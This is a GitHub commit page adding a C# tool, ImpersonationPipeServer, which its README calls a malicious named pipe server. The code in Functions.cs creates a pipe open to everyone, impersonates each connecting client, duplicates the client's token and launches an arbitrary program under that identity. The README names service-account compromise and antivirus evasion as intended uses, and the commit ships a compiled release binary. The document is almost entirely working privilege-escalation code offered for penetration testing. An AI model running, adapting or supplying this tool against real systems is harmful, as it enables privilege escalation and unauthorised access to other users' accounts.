Skip to content

Commit

Permalink
First Commit with Release
Browse files Browse the repository at this point in the history
  • Loading branch information
cptwin committed Feb 15, 2024
1 parent 9d771f8 commit c275439
Show file tree
Hide file tree
Showing 9 changed files with 1,346 additions and 0 deletions.
1,003 changes: 1,003 additions & 0 deletions .gitignore

Large diffs are not rendered by default.

55 changes: 55 additions & 0 deletions ImpersonationPipeServer/Debug.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace ImpersonationPipeServer
{
internal class Debug
{

public enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId,
TokenGroupsAndPrivileges,
TokenSessionReference,
TokenSandBoxInert,
TokenAuditPolicy,
TokenOrigin
}

public struct TOKEN_USER
{
public SID_AND_ATTRIBUTES User;
}

[StructLayout(LayoutKind.Sequential)]
public struct SID_AND_ATTRIBUTES
{

public IntPtr Sid;
public int Attributes;
}

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength, out uint ReturnLength);

[DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool ConvertSidToStringSid(
IntPtr pSID,
out IntPtr ptrSid);
}
}
123 changes: 123 additions & 0 deletions ImpersonationPipeServer/Functions.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,123 @@
//Adapted from https://csandker.io/2021/01/10/Offensive-Windows-IPC-1-NamedPipes.html#prerequisites

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.IO;
using System.IO.Pipes;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Reflection.Metadata;
using System.Security.Permissions;
using System.ComponentModel;
using static ImpersonationPipeServer.Native;
using System.Security.AccessControl;
using static ImpersonationPipeServer.Debug;

namespace ImpersonationPipeServer
{
internal class Functions
{
public static void Initialisation(string[] args)
{
string pipeName = args[0];
string name = @"\\.\pipe\" + pipeName;
string targetExe = args[1];


Console.Write("\nStarting Server... ");
IntPtr handle = IntPtr.Zero;
name = @"\\.\pipe\" + pipeName;
var SecurityAttribute = GetNullDacl();
handle = Native.CreateNamedPipe(name, 0x3, 0x4, 1, 2048, 2048, 0, SecurityAttribute);
if (handle.ToInt32() == -1)
{
throw new Win32Exception("Error creating named pipe " + name + " . Internal error: " + Marshal.GetLastWin32Error().ToString());
}
Console.WriteLine("Started!");

Console.Write("Listening... ");
bool connectedPipe = Native.ConnectNamedPipe(handle, IntPtr.Zero);
Console.WriteLine("Connected!");

Console.Write("Impersonating... ");
bool impersonated = Native.ImpersonateNamedPipeClient(handle);
if (!impersonated)
{
throw new Win32Exception("Error impersonating client. Internal error: " + Marshal.GetLastWin32Error().ToString());
}
Console.WriteLine("Success!");

IntPtr hToken = IntPtr.Zero;
bool success = Native.OpenThreadToken(Native.GetCurrentThread(), 0xF01FF, false, out hToken);
if (!success)
{
throw new Win32Exception("Error getting thread token. Internal error: " + Marshal.GetLastWin32Error().ToString());
}

Console.Write("Reverting... ");
success = Native.RevertToSelf();
if (!success)
{
throw new Win32Exception("Error reverting to self. Internal error: " + Marshal.GetLastWin32Error().ToString());
}
Console.WriteLine("Success!");

Console.WriteLine("Duplicating... ");
IntPtr phNewToken = IntPtr.Zero;
var SecurityAttribute2 = GetNullDacl();
success = Native.DuplicateTokenEx(hToken, 0xF01FF, SecurityAttribute2, Native.SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, Native.TOKEN_TYPE.TokenPrimary, out phNewToken);
if (!success)
{
throw new Win32Exception("Error duplicating token. Internal error: " + Marshal.GetLastWin32Error().ToString());
}

uint outLen = 0;
success = GetTokenInformation(phNewToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, outLen, out outLen);
IntPtr TokenInformation = Marshal.AllocHGlobal(checked((int)(outLen)));
success = GetTokenInformation(phNewToken, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, outLen, out outLen);
if (!success)
{
throw new Win32Exception("Error checking token SID. Internal error: " + Marshal.GetLastWin32Error().ToString());
}
Debug.TOKEN_USER TokenUser = (Debug.TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(Debug.TOKEN_USER));
IntPtr pstr = IntPtr.Zero;
Boolean ok = Debug.ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
string sidstr = Marshal.PtrToStringAuto(pstr);
Console.WriteLine(@"Found sid {0}", sidstr);

Console.WriteLine("\nSpawning process...");
Native.STARTUPINFO startupInfo = new Native.STARTUPINFO();
Native.PROCESS_INFORMATION processInfo = new Native.PROCESS_INFORMATION();
startupInfo.cb = Marshal.SizeOf(startupInfo);
success = CreateProcessWithTokenW(phNewToken, 0, null, targetExe, 0, IntPtr.Zero, null, ref startupInfo, out processInfo);
if (!success)
{
throw new Win32Exception("Error creating process. Internal error: " + Marshal.GetLastWin32Error().ToString());
}
}

public static SECURITY_ATTRIBUTES GetNullDacl()
{
// Implemented from http://codemortem.blogspot.com/2006/01/creating-null-dacl-in-managed-code.html
// Build NULL DACL (Allow everyone full access)
RawSecurityDescriptor gsd = new RawSecurityDescriptor(ControlFlags.DiscretionaryAclPresent, null, null, null, null);

// Construct SECURITY_ATTRIBUTES structure
Native.SECURITY_ATTRIBUTES sa = new Native.SECURITY_ATTRIBUTES();
sa.nLength = Marshal.SizeOf(typeof(Native.SECURITY_ATTRIBUTES));
sa.bInheritHandle = 1;

// Get binary form of the security descriptor and copy it into place
byte[] desc = new byte[gsd.BinaryLength];
gsd.GetBinaryForm(desc, 0);
sa.lpSecurityDescriptor = Marshal.AllocHGlobal(desc.Length); // This Alloc is Freed by the Disposer or Finalizer
Marshal.Copy(desc, 0, sa.lpSecurityDescriptor, desc.Length);

return sa;
}
}
}
14 changes: 14 additions & 0 deletions ImpersonationPipeServer/ImpersonationPipeServer.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<AllowUnsafeBlocks>True</AllowUnsafeBlocks>
<PlatformTarget>x64</PlatformTarget>
<Platforms>AnyCPU;x64</Platforms>
<ProduceReferenceAssembly>False</ProduceReferenceAssembly>
</PropertyGroup>

</Project>
84 changes: 84 additions & 0 deletions ImpersonationPipeServer/Native.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Permissions;
using System.Text;
using System.Threading.Tasks;

namespace ImpersonationPipeServer
{
internal class Native
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}

public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}

public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public string lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, SECURITY_ATTRIBUTES lpSecurityAttributes);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
[DllImport("advapi32.dll")]
public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, SECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(IntPtr hToken, UInt32 dwLogonFlags, string lpApplicationName, string lpCommandLine, UInt32 dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
}
}
13 changes: 13 additions & 0 deletions ImpersonationPipeServer/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
// See https://aka.ms/new-console-template for more information
using ImpersonationPipeServer;

if (args.Length < 2)
{
Console.WriteLine("Usage: server.exe {pipeName} {command}");
Console.WriteLine("Pipe name must not include //./pipe/");
}
else
{
Functions.Initialisation(args);
}

31 changes: 31 additions & 0 deletions PipeServers.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.5.33516.290
MinimumVisualStudioVersion = 10.0.40219.1
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ImpersonationPipeServer", "ImpersonationPipeServer\ImpersonationPipeServer.csproj", "{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|x64 = Debug|x64
Release|Any CPU = Release|Any CPU
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Debug|x64.ActiveCfg = Debug|x64
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Debug|x64.Build.0 = Debug|x64
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Release|Any CPU.Build.0 = Release|Any CPU
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Release|x64.ActiveCfg = Release|x64
{EC125EF7-040E-4448-A8ED-5EBD9E187FCE}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {0600BAFB-9D78-422F-8255-C775381C98DC}
EndGlobalSection
EndGlobal
23 changes: 23 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# Pipe Client Impersonation Server

This tool creates a malicious named pipe server that impersonates connecting clients and executes arbitrary commands under their security context.

## Why?

This tool was created to assist in the creation of PoCs for insecure `CreateFile` and `ReadFile`/`WriteFile` calls, as well as exploit `Named Pipe Instance Creation Race Condition` and `Superfluous Pipe Connectivity` vulnerabilities.

C# was used for this implementation over C++ to allow easier customisation for AV evasion in INPT reviews.

## Prerequisets

Use of this tool requires access to a user with the `SeImpersonatePrivilege` privilege, such as a compromised service account.

## Usage

Run the server using the following command

```
ImpersonationPipeServer.exe {pipeName} {command}
```


Binary file added Releases/ImpersonationPipeServer.exe
Binary file not shown.

0 comments on commit c275439

Please sign in to comment.